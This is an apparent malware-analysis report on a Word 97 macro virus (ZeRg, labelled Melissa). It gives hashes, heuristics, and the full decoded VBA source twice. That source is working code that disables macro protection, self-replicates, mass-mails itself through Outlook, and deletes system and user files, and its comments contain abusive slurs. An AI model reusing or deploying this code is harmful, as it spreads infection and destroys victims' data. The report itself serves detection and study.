Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 60e020ba387ee4d0…

MALICIOUS

Office (OLE)

46.0 KB Created: 1999-12-21 19:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 3388fa1fce51c70f033d842008f42db9 SHA-1: d38bd9d9304c9ee773ab084a152c8598bbcc7ad1 SHA-256: 60e020ba387ee4d0727671695b88d4e97638153004ece632da365019c26f961f
288 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1490 Inhibit System Recovery

This document exhibits characteristics of the Melissa virus, specifically the 'ZeRg WM97 Virus' mentioned in the VBA script. The AutoOpen macro executes a VBA script that attempts to delete various files across the system, including executables and DLLs, and also attempts to export a component to 'c:\ZeRg.mta'. The presence of legacy WordBasic macro markers and the specific detection name 'Doc.Trojan.Melissa-23' strongly indicate this family.

Heuristics 6

  • ClamAV: Doc.Trojan.Melissa-23 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Melissa-23
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set UsingOutlook = CreateObject("Outlook.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10259 bytes
SHA-256: c51ec012bf3d76ce18aa05c1ad1ab6a52038f5be849de1ece4aa2b82e86194fb
Detection
ClamAV: Doc.Trojan.Zerg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Zerg"
Sub AutoExec()
Attribute AutoExec.VB_Description = "ZeRg 1.0"
Attribute AutoExec.VB_ProcData.VB_Invoke_Func = "Normal.ZeRg.AutoExec"
' The ZeRg WM97 Virus (c) 1999 ElectroMagnetic Defication
' First Attempt At Macro Viruses For Word 97
' If You Are Reading This, Then You Are Smarter Than The Average Idiot.
' I Should Have Made This To Just Send The E-Mail And Toast The Drive, But I Decided Not To.
' Greetings To F-Prot, McAfee-(World's Worst AV), Norton, Dr. Solomon (Now Gay As McAfee), Fuck You All In The Ass!!!!!
' Thank You For Purchasing Microsoft Office 97
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents("ZeRg").Export "c:\ZeRg.mta"
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
GoTo AllDone

AllDone:
On Error Resume Next
End If
End Sub

Sub ToolsMacro()
With WordBasic
.Call "YourAss"
End With
End Sub

Sub ViewVBCode()
With WordBasic
.Call "YourAss"
End With
End Sub

Sub YourAss()
On Error Resume Next
Kill "*.*"
Kill "c:\*.*"
Kill "c:\zerg.mta"
Kill "c:\windows\*.*"
Kill "c:\windows\*.exe"
Kill "c:\windows\*.com"
Kill "c:\windows\system\*.dll"
Kill "c:\windows\system\*.*"
Kill "c:\windows\command\*.exe"
Kill "c:\windows\command\*.*"
Kill "c:\My Documents\*.*"
Kill "c:\winnt\*.exe"
Kill "c:\winnt\*.*"
Kill "c:\winnt\system\*.*"
Kill "c:\winnt\system\*.dll"
Kill "c:\winnt\system32\*.*"
Kill "c:\winnt\system32\*.dll"
Kill "c:\winnt\system32\drivers\*.*"
Kill "c:\winnt\system32\win.com"
Kill "c:\winnt\system32\drivers\*.sys"
Tasks.ExitWindows
MsgBox "Hello " & Application.UserName & " You Stupid Fuck! Your Computer Has Been Fucked By ZeRg 1.0", vbOKOnly
End Sub

Sub AutoOpen()
Options.VirusProtection = True
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
If Day(Now) = Hour(Now) Then
Set FunnyShit = ActiveDocument
FunnyShit.Password = "ZeRg1.0"
ActiveDocument.Save
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "ZeRg") = "(c) 1999 Electro Magnetic Defication"
Dim EN$
On Error GoTo -1: On Error GoTo NotThere
With WordBasic
.ToolsMacro Name:="CheckForZerg", Show:=1, Run:=1
.Call "Zerg"
End With
GoTo AlreadyThere
NotThere:
Err.Number = 0
On Error Resume Next
EN$ = WordBasic.[FileName$]()
With WordBasic
.MacroCopy EN$ + ":ZeRg", "ZeRg", 1
NormalTemplate.Save
Application.VBE.ActiveVBProject.VBComponents("ZeRg").Export "c:\ZeRg.mta"
End With
GoTo AlreadyThere
AlreadyThere:
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
GoTo AllDone

AllDone:
End If
End Sub
Sub CheckForZerg()

End Sub
Sub FileOpen()
On Error GoTo ChangeMind
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
With WordBasic
.CurValues.FileOpen dlg
.Dialog.FileOpen dlg
.FileOpen dlg
.Call "Zerg"
End With
ChangeMind:
End Sub

Sub FilePrint()
On Error GoTo ChangeMind
Options.VirusProtection = False
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FilePrint(False)
With WordBasic
.CurValues.FilePrint dlg
.Dialog.FilePrint dlg
.FilePrint dlg
.Call "Zerg"
End With
ChangeMind:
End Sub

Sub FileSaveAs()
On Error GoTo ChangeMind
Options.VirusProtection = False
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
With WordBasic
.CurValues.FileSaveAs dlg
.Dialog.FileSaveAs dlg
.FileSaveAs dlg
.Call "Zerg"
End With
ChangeMind:
End Sub

Sub Zerg()
Attribute Zerg.VB_ProcData.VB_Invoke_Func = "Normal.ZeRg.Zerg"
On Error Resume Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "ZeRg" Then Z = True
Next i
If Z = True Then GoTo AlreadyThere Else
ActiveDocument.VBProject.VBComponents.Import "c:\ZeRg.mta"
ActiveDocument.Save
Dim UsingOutlook, UserNameMapi, SendIt
Set UsingOutlook = CreateObject("Outlook.Application")
Set UserNameMapi = UsingOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "ZeRg") <> "(c) 1999 Electro Magnetic Defication" Then
If UsingOutlook = "Outlook" Then
UserNameMapi.Logon "profile", "password"
For Z = 1 To UserNameMapi.AddressLists.Count
Set BookList = UserNameMapi.AddressLists(Z)
X = 1
Set SendIt = UsingOutlook.CreateItem(O)
For XX = 1 To BookList.AddressEntries.Count
Lookn = BookList.AddressEntries(X)
SendIt.Recipients.Add Lookn
X = X + 1
If X > 101 Then XX = BookList.AddressEntries.Count
Next XX
SendIt.Subject = "Please Read The Attached Document."
SendIt.Body = "Important Information Is Enclosed"
SendIt.Attachments.Add ActiveDocument.FullName
SendIt.Send
Lookn = ""
Next Z
UserNameMapi.Logoff
End If
GoTo AllDone

AlreadyThere:
On Error Resume Next
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
End If
GoTo AllDone

AllDone:
End If
End Sub










Attribute VB_Name = "Zerg1"
Sub AutoExec()
Attribute AutoExec.VB_Description = "ZeRg 1.0"
Attribute AutoExec.VB_ProcData.VB_Invoke_Func = "Normal.ZeRg.AutoExec"
' The ZeRg WM97 Virus (c) 1999 ElectroMagnetic Defication
' First Attempt At Macro Viruses For Word 97
' If You Are Reading This, Then You Are Smarter Than The Average Idiot.
' I Should Have Made This To Just Send The E-Mail And Toast The Drive, But I Decided Not To.
' Greetings To F-Prot, McAfee-(World's Worst AV), Norton, Dr. Solomon (Now Gay As McAfee), Fuck You All In The Ass!!!!!
' Thank You For Purchasing Microsoft Office 97
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents("ZeRg").Export "c:\ZeRg.mta"
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
GoTo AllDone

AllDone:
On Error Resume Next
End If
End Sub

Sub ToolsMacro()
With WordBasic
.Call "YourAss"
End With
End Sub

Sub ViewVBCode()
With WordBasic
.Call "YourAss"
End With
End Sub

Sub YourAss()
On Error Resume Next
Kill "*.*"
Kill "c:\*.*"
Kill "c:\zerg.mta"
Kill "c:\windows\*.*"
Kill "c:\windows\*.exe"
Kill "c:\windows\*.com"
Kill "c:\windows\system\*.dll"
Kill "c:\windows\system\*.*"
Kill "c:\windows\command\*.exe"
Kill "c:\windows\command\*.*"
Kill "c:\My Documents\*.*"
Kill "c:\winnt\*.exe"
Kill "c:\winnt\*.*"
Kill "c:\winnt\system\*.*"
Kill "c:\winnt\system\*.dll"
Kill "c:\winnt\system32\*.*"
Kill "c:\winnt\system32\*.dll"
Kill "c:\winnt\system32\drivers\*.*"
Kill "c:\winnt\system32\win.com"
Kill "c:\winnt\system32\drivers\*.sys"
Tasks.ExitWindows
MsgBox "Hello " & Application.UserName & " You Stupid Fuck! Your Computer Has Been Fucked By ZeRg 1.0", vbOKOnly
End Sub

Sub AutoOpen()
Options.VirusProtection = True
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
If Day(Now) = Hour(Now) Then
Set FunnyShit = ActiveDocument
FunnyShit.Password = "ZeRg1.0"
ActiveDocument.Save
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "ZeRg") = "(c) 1999 Electro Magnetic Defication"
Dim EN$
On Error GoTo -1: On Error GoTo NotThere
With WordBasic
.ToolsMacro Name:="CheckForZerg", Show:=1, Run:=1
.Call "Zerg"
End With
GoTo AlreadyThere
NotThere:
Err.Number = 0
On Error Resume Next
EN$ = WordBasic.[FileName$]()
With WordBasic
.MacroCopy EN$ + ":ZeRg", "ZeRg", 1
NormalTemplate.Save
Application.VBE.ActiveVBProject.VBComponents("ZeRg").Export "c:\ZeRg.mta"
End With
GoTo AlreadyThere
AlreadyThere:
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
GoTo AllDone

AllDone:
End If
End Sub
Sub CheckForZerg()

End Sub
Sub FileOpen()
On Error GoTo ChangeMind
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
With WordBasic
.CurValues.FileOpen dlg
.Dialog.FileOpen dlg
.FileOpen dlg
.Call "Zerg"
End With
ChangeMind:
End Sub

Sub FilePrint()
On Error GoTo ChangeMind
Options.VirusProtection = False
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FilePrint(False)
With WordBasic
.CurValues.FilePrint dlg
.Dialog.FilePrint dlg
.FilePrint dlg
.Call "Zerg"
End With
ChangeMind:
End Sub

Sub FileSaveAs()
On Error GoTo ChangeMind
Options.VirusProtection = False
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
With WordBasic
.CurValues.FileSaveAs dlg
.Dialog.FileSaveAs dlg
.FileSaveAs dlg
.Call "Zerg"
End With
ChangeMind:
End Sub

Sub Zerg()
Attribute Zerg.VB_ProcData.VB_Invoke_Func = "Normal.ZeRg.Zerg"
On Error Resume Next
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "ZeRg" Then Z = True
Next i
If Z = True Then GoTo AlreadyThere Else
ActiveDocument.VBProject.VBComponents.Import "c:\ZeRg.mta"
ActiveDocument.Save
Dim UsingOutlook, UserNameMapi, SendIt
Set UsingOutlook = CreateObject("Outlook.Application")
Set UserNameMapi = UsingOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "ZeRg") <> "(c) 1999 Electro Magnetic Defication" Then
If UsingOutlook = "Outlook" Then
UserNameMapi.Logon "profile", "password"
For Z = 1 To UserNameMapi.AddressLists.Count
Set BookList = UserNameMapi.AddressLists(Z)
X = 1
Set SendIt = UsingOutlook.CreateItem(O)
For XX = 1 To BookList.AddressEntries.Count
Lookn = BookList.AddressEntries(X)
SendIt.Recipients.Add Lookn
X = X + 1
If X > 101 Then XX = BookList.AddressEntries.Count
Next XX
SendIt.Subject = "Please Read The Attached Document."
SendIt.Body = "Important Information Is Enclosed"
SendIt.Attachments.Add ActiveDocument.FullName
SendIt.Send
Lookn = ""
Next Z
UserNameMapi.Logoff
End If
GoTo AllDone

AlreadyThere:
On Error Resume Next
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
End If
GoTo AllDone

AllDone:
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.